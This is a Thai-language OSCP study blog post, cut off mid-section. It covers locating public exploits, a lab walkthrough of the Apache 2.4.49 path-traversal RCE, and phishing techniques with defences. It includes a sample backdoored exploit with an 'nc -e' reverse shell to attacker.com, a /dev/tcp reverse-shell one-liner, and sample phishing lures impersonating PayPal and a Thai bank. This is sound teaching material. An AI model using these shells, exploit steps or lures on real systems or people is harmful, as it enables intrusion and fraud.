My 2025 OSCP Journey Part 5 : Phishing & Public Exploits
Introduction
สวัสดีคุณผู้อ่านทุกท่านครับ
ยินดีต้อนรับทุกท่านกลับเข้าสู่ Blog series ของผมอีกครั้ง หลังจากที่ Part ที่แล้ว เราได้พูดถึงเรื่อง การโจมตีโดยการใช้ SQL หรือ SQL Injection ในหลายๆประเภท การโจมตีจากฝั่งผู้ใช้งาน หรือ Client-Side Attacks
สำหรับคุณผู้อ่านท่านใดที่หลงเข้ามาใน Part นี้เป็นที่แรกและอยากจะทราบถึงเรื่องราวที่ผ่านมา ตัวผมนั้นภูมิใจและแนะนำเป็นอย่างยิ่ง ที่จะให้คุณผู้อ่านได้อ่าน Part 1 และ Part ก่อนหน้าอื่นๆก่อน เป็นการเริ่มต้น ตาที่อยู่ Link นี้เลยครับ: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-1 และ Welcome to My Journey ครับผม
และในระหว่างที่ผมกำลังเขียนบทความหรือ Blog นี้อยู่นั้น ทาง Offsec ก็ได้ทำการเพิ่มบทเรียนใหม่บางอย่างเข้ามาในคอร์ส Pen-200 ด้วย เพื่อให้เนื้อหามีความเท่าทันต่อสถานการณ์ปัจจุบันอยู่ตลอด โดยที่ในบทความนี้ ผมจะมีการเล่าถึงเนื้อหาใหม่ที่พึ่งถูกเพิ่มเข้ามาด้วย ซึ่งคือบท Phishing Basics ซึ่งเป็นเนื้อหาขั้นพื้นฐานเพื่อให้ผู้เรียนได้รู้จักและทำความเข้าใจเกี่ยวกับการโจมตีแบบ Phishing มากขึ้นนั่นเอง
ใน Part ที่ 5 นี้เราจะพูดถึงเรื่องขั้นตอนเชิงเทคนิคต่อๆไปหลังจากที่เราได้รู้จักกับการโจมตีแบบ SQLi และ Client-side และพูดถึงเรื่องเนื้อหาใหม่ที่ถูกเพิ่มเติมเข้ามา ซึ่งเช่นเดิม ตัวผมนั้นยินดีเป็นอย่างยิ่งที่จะเล่าให้ฟังครับ เพื่อไม่เป็นการเสียเวลาไปมากกว่านี้ เพราะฉะนั้น Enjoy ครับ
Locating Public Exploits
การระบุจุด ปัจจัย ทรัพยากร ข้อมูลและสิ่งต่างๆที่ใช้ในการ Exploits ที่เปิดเผยเป็นสาธารณะนั้นเป็นทักษะที่เป็นประโยชน์อย่างมากสำหรับผู้ทำการทดสอบการเจาะระบบ ซึ่งในบทนี้เราจะทำการ:
- ระบุข้อมูลและทรัพยากร Exploit ที่น่าเชื่อถือทั้ง Online และ Offline
- วิเคราะห์ข้อมูลและทรัพยากร Exploit ก่อนการนำมาใช้งาน
- เก็บและหาข้อมูลของเป้าหมายเพื่อประเมินและเลือกใช้ Exploits ที่จะใช้
Getting Started with Public Exploits
ก่อนที่เราจะใช้ทรัพยากรหรือสิ่งต่างๆ(e.g. Payloads, Script, etc.)จาก Public Exploit นั้น ต้องเข้าใจถึงความเสี่ยงที่เราหรือผู้ใช้งานอาจจะได้รับ ซึ่งการใช้งาน Exploit ที่ไม่ได้รับการยืนยันว่าปลอดภัยหรือ Exploit ที่เป็นอันตรายนั้นอาจทำให้:
- Accidental self-infection(ตัวอย่าง: ทรัพยากร Exploit ที่ผู้ใช้นำมาใช้ อาจแฝงหรือแนบ Reverse shell ซึ่งชี้กลับไปหาเจ้าของ Exploit ที่เป็นอันตรายนั้น)
- Unexpected system crashes(ในบางครั้ง Exploit ที่นำมาใช้อาจไม่เสถียร หรือ มีคุณภาพมากพอ ซึ่งอาจเป็นอันตรายต่อระบบของผู้ใช้งาน)
- Legal consequences(ซึ่งหนึ่งปัจจัยที่ควรคำนึงถึงเช่นกันนั่นคือกฎหมาย)
A Word of Caution💀
ในบางครั้ง การนำทรัพยากรต่างๆของ Public Exploit มาใช้โดยไม่ได้ทำการตรวจสอบก่อนนั้น เป็นเรื่องที่อันตรายอย่างมาก โดยที่การคำนึงถึงสิ่งนี้อยู่ตลอดเป็นเรื่องที่สำคัญเพื่อทำให้มั่นใจได้ว่า ทรัพยากรที่นำมาใช้จะไม่ส่งผลเสียใดๆต่อผู้ใช้
โดยนี่จะเป็นตัวอย่างของ Public Exploit ซึ่งทำการแฝง Code ซึ่งอาจส่งผลอันตรายต่อผู้ใช้งาน โดยสถานการณ์ที่มักจะเกิดขึ้น จะเป็นสถานการณ์ที่ว่า ผู้ทำการทดสอบการเจาะระบบสามารถทำการระบุช่องโหว่ของเป้าหมายได้แล้ว และได้ค้นพบ Code หรือ Payload ที่น่าจะเหมาะกับสถานการณ์การใช้งานของตน ซึ่งเป็นทรัพยากรของ Public Exploit ที่อยู่บนแพลตฟอร์มสาธารณะ อาทิเช่น Github
ตัวอย่าง Code ที่เป็นอันตราย:
import os
import requests
def exploit(target):
print(f"[*] Exploiting {target}...")
os.system("nc -e /bin/bash attacker.com 5555") //Line 7
payload = {"cmd": "id"} //Line 9
response = requests.post(f"http://{target}/vulnerable_endpoint", data=payload)
print(response.text) //Line 12
target = "192.168.1.100"
exploit(target)
Codeblock 1: ตัวอย่าง Code ที่เป็นอันตรายจาก Public Exploit
Code นี้มีความเสี่ยงตรงไหน?:
-
Line 7(os.system(“nc -e /bin/bash attacker.com 5555”) //hidden backdoor execute)
- Code ในบรรทัดนี้นั้นทำการเริ่มการทำงานของ Reverse Shell ซึ่งชี้ไปหา attacker.com:5555 (Port) ซึ่งทำให้ผู้โจมตี(ในบริบทนี้คือผู้เขียน Code นี้ขึ้นมา)สามารถเข้ามาในระบบของผู้ใช้ Code ได้
- โดยที่ Code ที่ใช้ในการ Exploit จริงๆนั้นจำทำการดึงความสนใจของผู้ใช้งาน (Line 9-12) ในขณะที่ Code ในส่วน hidden backdoor execute นั้นทำงานก่อน
-
No Clear Documentation(ไม่มีคำอธิบายที่ชัดเจน)
- ทรัพยากร Exploit นั้นไม่มีคำอธิบายที่ชัดเจนว่าทำไม ภายใน Code ถึงมีการเรียกใช้ System(os.system)
- อีกหนึ่งจุดสังเกตุที่ดีคือ โดยปกติแล้ว ทรัพยากร Exploit ที่ใช้งานได้ส่วนมากจะมีการ Comment เพื่ออธิบาย Code ในแต่ละขั้นตอน
-
Basic Detection Method(วิธีการตรวจเช็คขั้นพื้นฐาน)
- เราสามารถทำการตรวจสอบขั้นพื้นฐานด้วยการใช้คำสั่ง:
kali@kali:~$ grep -E'nc|bash|exec|system'suspicious_exploit.py
//ใช้คำสั่ง grepค้นหาคำที่อยู่ใน Stringที่เรากำหนดในไฟล์ที่ต้องการตรวจสอบ
- Output:
os.system("nc -e /bin/bash attacker.com 5555")
//ผลที่ได้จากการค้นหา
(Note:ในทางกลับกัน ผู้ใช้อาจหาประโยชน์หรือใช้งานจาก Code ที่เป็นอันตรายจาก Public Exploit นี้ได้ หากลบ Code ส่วนที่เป็นอันตรายออกไปแล้ว)
Online Exploit Resources(แหล่งข้อมูล และ ทรัพยากร Exploit บนโลก Online)
โดยที่บนโลก Online นั้นมีที่เก็บข้อมูล Public Exploit อยู่มากมายมหาศาล ซึ่งผู้ใช้งานนั้นต้องทำความเข้าใจว่าแหล่งข้อมูลไหนนั้นเชื่อถือได้ และจะใช้งานอย่างไรให้มีประสิทธิภาพ
- The Exploit Database(Exploit-DB)
Figure 1.1: https://www.exploit-db.com/
- URL: https://www.exploit-db.com/
- ผู้ให้บริการ: Offensive Security
- ข้อมูล: มีข้อมูลและทรัพยากร Exploit อยู่เป็นจำนวนมาก รวมไปถึงสคริปต์ PoC (Proof-of-Concept)
Figure 1.2: https://www.exploit-db.com/51193 (Apache 2.4.x - Buffer Overflow)
ซึ่งมากไปกว่านั้น ผู้ใช้สามารถเข้าถึงฐานข้อมูลของ Exploit-DB ผ่าน Command line ได้ ด้วยคำสั่ง:
kali@kali:~$ searchsploit apache
ตัวอย่างผลการค้นหา:
-------------------------------------------------------------
Exploit Title | Path
-------------------------------------------------------------
Apache 2.4.49 - Remote Code Execution | exploits/linux/remote/50383.py
Apache Struts 2 - OGNL Injection RCE | exploits/java/webapps/42936.py
และ Download(Copy) Exploit โดยตรงผ่านคำสั่ง:
kali@kali:~$ cp/usr/share/exploitdb/exploits/linux/remote/50383.py .
- Packet Storm Security
Figure 2.1: https://packetstorm.news/
- URL: https://packetstorm.news/
- เป็นการช่วยกันของชุมชนที่ขับเคลื่อนทรัพยากร Exploit และคำแนะนำใน Database
- ข้อมูล: ส่วนมากจะมีการรวมทรัพยากร Exploit ที่ไม่เป็นทางการ(ก่อนจะทำการเพิ่มเข้าไปใน Exploit-DB) และรวมไปถึงข้อมูลข่าวสารด้าน ความมั่นคงปลอดภัยทางไซเบอร์ และ เครื่องมืออีกด้วย
Figure 2.2: ค้นหา Apache ใน https://packetstorm.news/
(ข้อมูลเพิ่มเติม: นอกจากเว็บเพจแล้ว ทาง Packetstorm มีการ Post อัปเดตข้อมูลภายในแพลตฟอร์ม X อีกด้วย ( https://x.com/packet_storm))
- GitHub
Figure 3: https://github.com/
- URL: https://github.com/
- เป็นการช่วยกันของชุมชนขนาดใหญ่หรือผู้เชี่ยวชาญทำการโพสต์ PoC Exploit ต่างๆรวมไปถึงช่องโหว่แบบ Zero-day
- โดยที่ นับว่ามีความเสี่ยงอย่างมาก หากทำการใช้งาน Code ที่ไม่ได้รับการยืนยัน
นอกจากเว็บเพจแล้วยังสามารถทำการค้นหาทรัพยากร Exploit ได้ผ่าน GitHub Dorking:
> curl -s "https://github.com/search?q=apache+exploit&type=repositories"| grep "repository"
//ค้นหา Exploit “Apache” ผ่าน GitHub Dorking
ข้อมูลเพิ่มเติม: ควรที่จะตรวจสอบ Last Update, ไฟล์ README, และคอมเมนต์ จากผู้เขียนก่อนใช้งาน
- Google Dorking(Advanced Search Operators)
เราสามารถใช้ Google Advanced Search Operators ในการหาทรัพยากร Exploit ที่ถูกซ่อนไว้ได้ ตัวอย่างเช่น:
- ค้นหา Apache Exploits
site:exploit-db.com "apache""remote code execution"
- ค้นหาสคริปต์ Windows Privilege Escalation(การเพิ่มสิทธิ์การเข้าถึงบน Windows)
site:github.com "windows privilege escalation""exploit"
Offline Exploit Resources(แหล่งข้อมูล และ ทรัพยากร Exploit ใน Offline)
Offline Exploit Resources นั้นสามารถทำให้ผู้ทำการทดสอบการเจาะระบบนั้นสามารถค้นหาและเข้าถึงข้อมูลและทรัพยากร Exploit ได้ถึงแม้ไม่ได้เชื่อมต่อกับอินเตอร์เน็ตก็ตาม
Exploit Frameworks
และนี่เป็นตัวอย่าง Frameworks ที่ทำงานโดยอัตโนมัติสำหรับการ Exploitation:
Exploit Frameworks | คำอธิบาย |
---|---|
Metasploit | เป็น Framework ที่มีการใช้งานอย่างแพร่หลายในการทดสอบการเจาะระบบ |
Core Impact | เป็น Framework ที่มุ่งเน้นไปที่ระดับองค์กรเป็นหลัก(Enterprise) |
Canvas | เป็น Framework ที่จัดการโดย Immunity ซึ่งมีค่าใช้จ่ายในการใช้งาน |
Browser Exploitation Framework(BeEF) | เป็น Framework ที่มุ่งเน้นไปที่ Browser-based Exploits (Client-Side Attack) |
ตัวอย่างการใช้งาน Metasploit(Apache):
Figure 4.1: เปิดการใช้งาน Metasploit ด้วยคำสั่ง msfconsole
หลังจากเปิดการใช้งาน ก็ทำการค้นหาช่องโหว่ที่ต้องการ ซึ่งในตัวอย่างนี้คือ Apache
Figure 4.2: ใช้คำสั่ง search apache ใน Metasploit
ทำการเลือก Exploit ที่ต้องการที่เข้ากับสถานการณ์ของตน
Figure 4.3: ทำการเลือก Exploit ที่ 316 และดูข้อมูลด้วยคำสั่ง info
โดยที่คำสั่ง "info" ใน Metasploit นั้นสามารถใช้เรียกดูรายละเอียด อาทิเช่น ตัวแปร การตั้งค่า คำอธิบาย และอื่นๆของ Exploit ได้
Figure 4.4: รายละเอียดของ Exploit ที่ 316
- SearchSploit(Local Exploit-DB)
Searchsploit นั้นเป็นเครื่องมือแบบ Offline ซึ่งอนุญาตให้ผู้ใช้งานสามารถค้นหาข้อมูลและทรัพยากร Exploit ภายใน Exploit-DB ได้แบบ Local
ตัวอย่างการใช้งาน Searchsploit(Windows Privilege Escalation):
Figure 5.1: ทำการค้นหาทรัพยากร Exploit สำหรับ windows privilege escalation
ทำการ Copy ไฟล์ Code สำหรับการ Exploit ที่เลือก
Figure 5.2: ใช้คำสั่ง cp {/path/to/payload} {/path/to/destination}
- Nmap NSE Scripts
Nmap นั้นสามารถใช้งานเพื่อทำการ Exploitation Scripts เพื่อหาและเก็บข้อมูลหรือ Reconnaissance และ โจมตี แบบอัตโนมัตผ่าน NSE Scripts ได้ ซึ่งคุณผู้อ่านสามารถที่จะอ่านข้อมูลเพิ่มเติมเกี่ยวกับเรื่องนี้ได้ใน Blog Series นี้ ซึ่งผมได้พูดถึงเรื่องนี้ไว้ใน Part ที่ 3 นั่นเองครับ🙌👉👉(My 2025 OSCP Jorney Part3: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-3)
ตัวอย่างคำสั่งพอสังเขปสำหรับ Nmap NSE Script:
kali@kali:~$ nmap --script vuln -p 445 192.168.1.100
ตัวอย่างผลการสแกน:
Starting Nmap 7.92at 2024-02-17
Host is up (0.00053s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
VULNERABILITIES:
CVE-2020-0796- SMBGhost Vulnerability(Critical)CVE-2017-0143- EternalBlue Exploit(Critical)
Exploiting a Target
หลังจากที่เราได้เรียนรู้และรู้จักถึงข้อควรระวัง เครื่องมือ วิธีการหาและใช้งานทรัพยากร Exploit เป็นที่เรียบร้อย ในเนื้อหาส่วนนี้เราจะทำการจำลองเหตุการณ์การโจมตีหรือการทดสอบการเจาะระบบเพื่อให้เห็นภาพและเข้าใจมากยิ่งขึ้นนั่นเอง
โดยที่เราจะทำการจำลองการ:
- ค้นหาและเก็บข้อมูลเป้าหมาย
- หาทรัพยากรและจุด Exploit ที่ใช้งานได้
- ทำการใช้งาน Exploit เพื่อให้ได้สิทธิ์การเข้าถึง
ขั้นที่ 1: Scanning the Target
ทำการสแกนเป้าหมาย(192.168.1.100) เพื่อทำการหาและเก็บข้อมูลของเป้าหมาย:
kali@kali:~$ nmap -sV-p-192.168.1.100
//คำอธิบาย:
- -sV > Service Version Detection(เป็น Flag ที่บอกให้ Nmap ทำการระบุเวอร์ชันของ Service ที่ทำงานอยู่บน Port ที่เปิดอยู่)
- -p- > Scan All Port[0-65535](เนื่องจากการตั้งค่าพื้นฐานของ Nmap นั้นจะทำการสแกนเพียงแค่ 1000 Ports เท่านั้น ซึ่ง Flag จำบอกให้ Nmap สแกนทุก Port ที่เป็นไปได้นั่นเอง)
ผลหลังจากการสแกน:
Starting Nmap7.92( https://nmap.org ) at 2025-02-17 12:35 UTC
Nmapscan report for 192.168.1.100
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4(protocol2.0)
80/tcp open http Apache httpd 2.4.49
443/tcp open https Apache httpd 2.4.49
ทำการวิเคราะห์ข้อมูลที่ได้มาจากการสแกน:
-
จากข้อมูลที่ได้เราพบว่าเครื่องของเป้าหมาย 192.168.1.100 นั้นเปิดการใช้งาน:
- SSH บน Port 22 (อาจเป็นพื้นที่ที่ซึ่งสามารถทำการโจมตีแบบ Brute-force ได้)
- Apache 2.4.49 บน Port 80 (มีช่องโหว่ที่สามารถทำ Remote Code Execution ได้ (CVE-2021-41773))
-
จากการวิเคราะห์ข้างต้นเราพบว่า Apache 2.4.49 นั้นมีช่องโหว่ที่ทราบอยู่แล้ว(CVE)ดังนั้นจึงเลือกจุดนี้เป็นจุดโจมตีและทำการหาทรัพยากร Exploit ต่อไปให้เข้ากับสถานการณ์
ขั้นที่ 2: Finding a Public Exploit
เมื่อเราทราบถึงจุดที่จะทำการโจมตี ก็ทำการหาทรัพยากร Exploit ที่เข้ากับจุดที่เราจะทำการโจมตี(Apache 2.4.49)โดยในกรณีนี้เราจะทำการหาผ่าน Searchsploit
kali@kali:~$ searchsploitapache 2.4.49
ผลการค้นหา:
Exploit Database Search Results
-------------------------------------------------------------
Exploit Title | Path
-------------------------------------------------------------
Apache 2.4.49 - Remote Code Execution (RCE) | exploits/linux/remote/50383.sh
เราพบ RCE Exploit(Remote Code Execution) (50383.sh) สำหรับ Apache 2.4.49 ซึ่งอนุญาตให้ผู้โจมตีทำ Path Traversal และ Execute หรือสั่งการทำงานคำสั่งแบบ Remote ได้ เราจึงทำการ Copy ไฟล์ Exploit มาใช้งาน(ข้อมูลเพิ่มเติม: https://www.exploit-db.com/exploits/50383)
kali@kali:~$ cp/usr/share/exploitdb/exploits/linux/remote/50383.sh . //Copy ไฟล์
kali@kali:~$ chmod+x 50383.sh //เพิ่มสิทธิ์การ Execute ให้กับไฟล์ที่ Copy มา
ขั้นที่ 3: Executing the Exploit for Path Traversal
ทำการ Execute ไฟล์ Exploit ใส่เป้าหมายด้วยคำสั่ง “bash”:
kali@kali:~$ bash 50383.sh targets.txt/etc/passwd
//คำอธิบาย:
- target.txt > ทำการใส่ IP เป้าหมาย(192.168.1.100)เข้าไปใน File Text(target.txt)
- /etc/passwd > Path ไฟล์ ที่ต้องจะดูข้อมูล
ผลการ Execute:
[*] Testing 192.168.1.100... //Mock-up response
[*] Sending path traversal payload... //Mock-up response[+] Response received! //Mock-up response
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin //Line 6
syslog:x:104:106::/home/syslog:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
คำอธิบาย:
- จะเห็นได้ว่า Path Traversal Payload นั้นสามารถดึงข้อมูลจาก /etc/passwd ได้สำเร็จ
- จากข้อมูลที่ได้มาเราพบว่า Apache นั้นทำงานอยู่บน User “www-data”[Line6]
ขั้นที่ 4: Executing Arbitrary Command
ทำการทดสอบการ Execute คำสั่งโดยไม่ได้รับอนุญาต(ไม่มีสิทธิ์/Arbitrary):
kali@kali:~$ bash50383.sh targets.txt /bin/sh "whoami"
ผลการ Execute:
[*] Testing 192.168.1.100... //Mock-up response
[*] Sending RCE payload... //Mock-up response
[+] Response received! //Mock-up response
www-data
คำอธิบาย:
- จะเห็นได้ว่า RCE Exploit นั้นทำการ Execute คำสั่ง “whoami” บนเครื่องเป้าหมายได้สำเร็จ กล่าวคือผู้โจมตีหรือผู้ทดสอบการเจาะระบบสามารถที่จะ Execute คำสั่งบน User “www-data” ได้ทั้งหมด
(เพิ่มเติม: ซึ่งหลังจากขั้นตอนนี้ ผู้โจมตีหรือผู้ทำการทดสอบการเจาะระบบสามารถแผ่ขยายการโจมตีออกไปได้ อาทิเช่น การทำ Reverse Shell ด้วยคำสั่ง “bash -c 'bash -i >& /dev/tcp/{LHOST}/4444 0>&1'” และทำ Privillege Escalation ต่อไปเพื่อเพิ่มสิทธิ์การเข้าถึง ซึ่งขึ้นอยู่กับความสามารถของผู้ทำการโจมตี)
Phishing Basics
Phishing เป็นหนึ่งในเทคนิคการโจมตีทางไซเบอร์ที่ถูกใช้งานมากที่สุดโดยจะมุ่งเน้นการโจมตีไปที่ จิตวิทยาของมนุษย์โดยใช้ กลลวงและเทคโนโลยีในการขโมย Credential(ข้อมูลการยืนยันตัวตน) ข้อมูลส่วนตัวข้อมูลทางการเงินและ ข้อมูลสำคัญที่มีความอ่อนไหวต่างๆ
โดยที่ผู้โจมตีนั้นจะทำการสร้างข้อความที่ดูน่าเชื่อถือขึ้นมาเพื่อหลอกให้เหยื่อหลงเชื่อและทำการ:
- คลิก Link ที่เป็นอันตราย
- ดาวน์โหลดไฟล์ที่เป็นอันตราย
- กรอกหรือมอบข้อมูลสำคัญต่างๆให้กับผู้โจมตี
ซึ่งเราสามารถจำแนกประเภทของการ Phishing ออกได้เป็น 2 ประเภทหลักๆ:
- Standard Phishing - เป็นการโจมตีขนาดใหญ่ กล่าวคือเป็นการโจมตีแบบไม่เจาะจงเป่าหมายมุ่งเน้นไปที่จำนวนของเหยื่อโดยที่ไม่ได้ระบุเป็าหมายชัดเจน (ตัวอย่าง: “”Your PayPal account has been locked! Click here to restore access”)
- Spear Phishing - เป็นการโจมตีที่มีการระบุเป้าหมายชัดเจนส่วนมากจะมุ่งเน้นไปที่เป่าหมายเพียงแค่เป่าหมายเดียว และมีการทำการค้นคว้าหรือ Social Engineeringอื่นๆเพื่อหาข้อมูลของเป้าหมายเพิ่มเติมเพื่อทำให้การ Phishing นั้นดูน่าเชื่อถือมากยิ่งขึ้น(อาทิเช่น การโจมตีแบบ Whaling ซึ่งเป็นประเภทย่อยหนึ่งของ Spear Phishing ที่จะจงไปที่เป้าหมายที่มี High-Profile ผู้อำนาจ นักการเมือง CEO หรือ ผู้มั่งคั่ง โดยเฉพาะนั่นเอง)
Phishing 101
ในทุกวันนี้นั้น Phishing ได้มีการพัฒนารูปแบบค่อนข้างมาก ผู้โจมตีมีการใช้ ช่องทาง รูปแบบ และ เทคนิคที่ซับซ้อนมากขึ้น รวมถึงการใช้ Social Engineering และ การใช้ LLMs หรือ AI มาเป็นส่วนช่วยด้วย ซึ่งรูปแบบที่ว่านั้นได้แก่:
- Smishing(การ Phishing โดย SMS)
- Vishing(การ Phishing โดยเสียง)
- Chatting(Chat-based phishing)(การ Phishing ผ่านข้อความซึ่งมุ่งเน้นไปที่แอปพลิเคชันอย่าง Slack, WhatsApp, Discord, Line, Facebook Messenger และอื่นๆ)
- Deepfake & AI-enhanced phishing(การ Phishing โดยใช้ AI ช่วยในการสร้าง เสียง ภาพ หรือ คลิปวิดีโอ)
โดยที่ในบทนี่จะนำเสนอถึงประเภทต่างๆของการโจมตีแบบ Phishing ผู้โจมตีนั้นสร้างข้อความ Phishing ขึ้นมาได้อย่างไร และ AI นั้นเข้ามามีบทบาทและถูกใช้เพื่อช่วยเหลือในการโจมตีอย่างไร
Email Phishing
ถึงแม้ว่าเทคนิคการ Phishing นั้นจะถูกพัฒนาไปมาแค่ไหนแต่อีเมลนั้นก็ยังคงเป็นรูปแบบที่ถูกใช้ในการโจมตีแบบ Phishing มากที่สุดอยู่ดีเนื่องด้วยรูปแบบอีเมลนั้นมีคุณสมบัติที่Scalabilityมีประสิทธิภาพและยังมีความสามารถที่จะหลีกเลี่ยงระบบความปลอดภัยได้อีกด้วย
ซึ่ง Email Phishing นั้นทำงานโดยการที่ ผู้โจมตีนั้นทำการสร้างอีเมลหลอกลวงขึ้นมาซึ่งจะปลอมตัวให้ดูเหมือนกับองค์กรหรือ บุคคลที่น่าเชื่อถือ (อาทิเช่น ธนาคาร บริษัทไอที องค์กรของภาครัฐ และอื่นๆ)
ซึ่งอีเมลนั้นจะถูกออกแบบมาเพื่อ:
- หลอกให้เหยื่อคลิกลิงค์ที่เป็นอันตราย
- ล่อลวง ชักชวน ให้เหยือดาวน์โหลดไฟล์ที่เป็นอันตราย
- สอบถามหรือร้องขอให้เหยื่อกรอกข้อมูลส่วนตัวต่างๆ
เทคนิคการทำ Email Phishing ที่พบเห็นได้บ่อย:
- Display Name Spoofing
From: "Microsoft Support" <security@microsoft-help.com>
- ชื่อผู้ส่งนั้นจะดูเป็นทางการอย่างมาก แต่ Domain ของอีเมลนั้นจะไม่มีเหมือนถึง 100% เนื่องด้วย Domain นั้นไม่สามารถปลอมแปลงได้
- Homograph URLs (IDN Spoofing)
https://p**а**ypаl.com/login
- หากดูลิงค์นี้ผิวเผินอาจดูเหมือนลิงค์ทางการเป็นอย่างมากหากแต่ว่าตัวอักษร “a” นั้นเป็นตัวอักษร Cyrillic ซึ่งจะแสดงผลตัวอักษรเหมือน “a” ปกติภายในลิงค์
- URL Shortening & Dynamic Link Manipulation
Click here: https://bit.ly/3eXampL
- ทำการย่อลิงค์ลงซึ่งจะทำให้ไม่เห็น URL ที่แท้จริง
- Credential Harvesting Pages
- ทำหน้าเว็บเพจปลอมเพื่อ Login ซึ่งเป็นการ Clone จากเว็บเพจจริงเพื่อเก็บข้อมูลยืนยันตัวตนของเหยื่อ
วิธีการป้องกัน:
- ใช้ Email Security Filtering (อาทิเช่น Microsoft Defender, Proofpoint)
- ทำการตรวจสอบลิงค์ด้วยตนเองก่อนคลิก โดยการนำ Cursor Mouse ไป Hoverไว้บนลิงค์
- เปิดการใช้งาน Phishing-Resistant MFA (FIDO2, YubiKey)
Smishing, Vishing, and Chat-Based Phishing
และเมื่อการใช้งานอีเมลเพื่อติดต่อนั้นน้อยลง และในทางกลับกันที่โทรศัพท์มือถือและ Message แอปพลิเคชันนั้น ได้รับความนิยมและมีบทบาทในการสื่อสารมากขึ้น การโจมตีแบบ Phishing จึงแผ่ขยายไปยังช่องทาง SMS การโทรด้วยเสียง และ Message แอปพลิเคชัน
- Smishing(Phishing ด้วย SMS):
- โดยที่ Smishing นั้นผู้โจมตีจะทำการสร้างข้อความหลอกลวงซึ่งออกแบบมาเพื่อให้เหยื่อคลิกที่ลิงค์และ/หรือให้กรอกข้อมูลสำคัญ
- โดยที่ลิงค์นั้นจะทำการ Redirect ไปยังหน้า Login ปลอม
- และเมื่อเหยื่อกรอกข้อมูล ผู้โจมตีจะได้ข้อมูลแบบทันที
- เทคนิคการโจมตี:
- SIM Swapping > ผู้โจมตีล่อลวงให้เหยื่อสลับซิมกับตนเพื่อขโมยข้อมูล
- Caller ID Spoofing > ผู้โจมตีปลอมแปลงเบอร์ติดต่อที่ใช้ส่งข้อความหลอกเพื่อให้ดูน่าเชื่อถือ
- วิธีการป้องกัน Smishing:
- ธนาคารนั้นจะไม่ส่งลิงค์โดยตรงผ่าน SMS
- สามารถใช้แอปพลิเคชันที่เชื่อถือได้ที่มีฟีเจอร์ในการตรวจ Phishing
- เปิดระบบ 2-Factor Authentication (2FA) สำหรับแอปพลิเคชันที่มีข้อมูลสำคัญ
มีผู้เข้าสู่ระบบธนาคารของคุณจากอุปกรอื่นหากไม่ได้ดำเนินการด้วนตนเอง โปรดติดต่อทันที kasikorn.go-line.cc
- Vishing(Phishing ด้วยเสียง):
- โดยที่ Vishing นั้นผู้โจมตีจะทำการโทรหาเหยื่อและปลอมตัวเป็นพนักงานธนาคาร บุคลากรของรัฐ หรืออื่นๆ เพื่อล่อลวงให้เหยื่อเปิดเผยข้อมูลหรืออื่นๆ
- โดยที่ผู้โจมตีนั้นอาจใช้LLMsหรือ AI เพื่อทำการปลอมแปลงเสียงเพื่อใช้ในการล่อลวงได้
- เทคนิคการโจมตี:
- Caller ID Spoofing > ผู้โจมตีปลอมแปลงเบอร์ติดต่อที่ใช้ส่งข้อความหลอกเพื่อให้ดูน่าเชื่อถือ
- Deepfake Voice AI > ผู้โจมตีใช้ AI เพื่อปลอมแปลงเสียงเป็นบุคคลที่น่าเชื่อถือ
- วิธีการป้องกัน Vishing:
- ไม่เปิดเผยข้อมูลสำคัญใดๆทางโทรศัพท์มือถือเป็นอันขาดไม่ว่าจะกรณีใดๆ
- สามารถใช้แอปพลิเคชันที่เชื่อถือได้ที่มีฟีเจอร์ในการตรวจสอบสายเรียกเข้า อาทิเช่น Whoscall
- Chat-Based Phishing(Phishing ผ่านข้อความในแอปพลิเคชัน):
- โดยที่ Chat-Based Phishing นั้นผู้โจมตีจะทำการโจมตีเหมือนกับ Smishing เพียงแต่มุ่งเน้นไปที่แอปพลิเคชันที่ใช้ในการสื่อสาร
- วิธีการป้องกัน Chat-Based Phishing:
- ตรวจสอบผู้ส่งข้อความเสมอก่อนจะกระทำการใดๆ
- สามารถใช้ Extension ของเบราว์เซอร์ที่เชื่อถือได้ที่มีฟีเจอร์ในการตรวจ Phishing
LLMs, Generative AI, and Deepfakes
การใช้ความเหลือจาก AI หรือ LLMs นั้นส่งผลต่อการโจมตีแบบ Phishing อย่างมาก เนื่องด้วย AI สามารถที่จะลบหรือแก้สัญญาณผิดปกติที่โดยดังเดิมจะถูกตรวจพบและสังเกตุเห็นได้ง่าย และทำให้ การโจมตีดูสมจริงมากยิ่งขึ้น
- โดยที่ AI นั้นส่งผลให้:
- อีเมล Phishing นั้นมีรูปแบบที่เหมือนกับถูกเขียนขึ้นโดยคนจริงซึ่งสามารถหลบหลีกการตรวจจับได้
- เทคโนโลยี Deepfake voice นั้นสามารถทำให้การโจมตีแบบ Vishing ได้ผลมากยิ่งขึ้นเนื่องด้วยสามารถปลอมแปลงเสียงได้แบบ Real-time
- AI Chatbot สามารถสร้างบทสนทนาเพื่อการ Phishing ได้อัตโนมัตและตลอดเวลา ซึ่งทำให้การโจมตีแบบ Chat-Based Phishing สำเร็จง่ายขึ้น
วิธีการป้องกัน LLMs, Generative AI, and Deepfakes:
- ฝึกฝนบุคลากรให้สามารถสังเกตุเห็นถึงพฤติกรรมเล็กๆน้อยๆที่ผิดปกติได้
- อาจใช้โปรแกรมหรืออื่นๆเพื่อตรวจจับและระบุข้อความที่น่าสงสัย
- อาจใช้โปรแกรมหรืออื่นๆเพื่อตรวจจับและตรวจสอบ Deepfake
Payloads, Misdirection, and Speedbumps
ผู้โจมตีนั้นมีการใช้เทคนิคที่หลากหลายในการส่ง Payload เพื่อให้การทำ Phishing นั้นสำเร็จ หลบหลีกระบบความปลอดภัยเพื่อไม่ให้โดยตรวจจับ โดยที่เนื้อหาในบทนี้นั้นจะครอบคลุมเรื่อง:
- ผู้โจมตีหลีกเลี่ยงการคัดกรองได้อย่างไร
- ไฟล์ Office Macros และอื่นๆสามารถใช้ในการสั่งการทำงาน Payload ได้อย่างไร
- ผู้โจมตีใช้เทคนิคอะไรในการเบี่ยงเบนความสนใจเพื่อหลอกเหยื่อให้หลงเชื่อ
- การโจมตีแบบ Phishing นั้นผ่านการป้องกันแบบ MFA ได้อย่างไร
Understanding the Role of Inbound Email Filters:
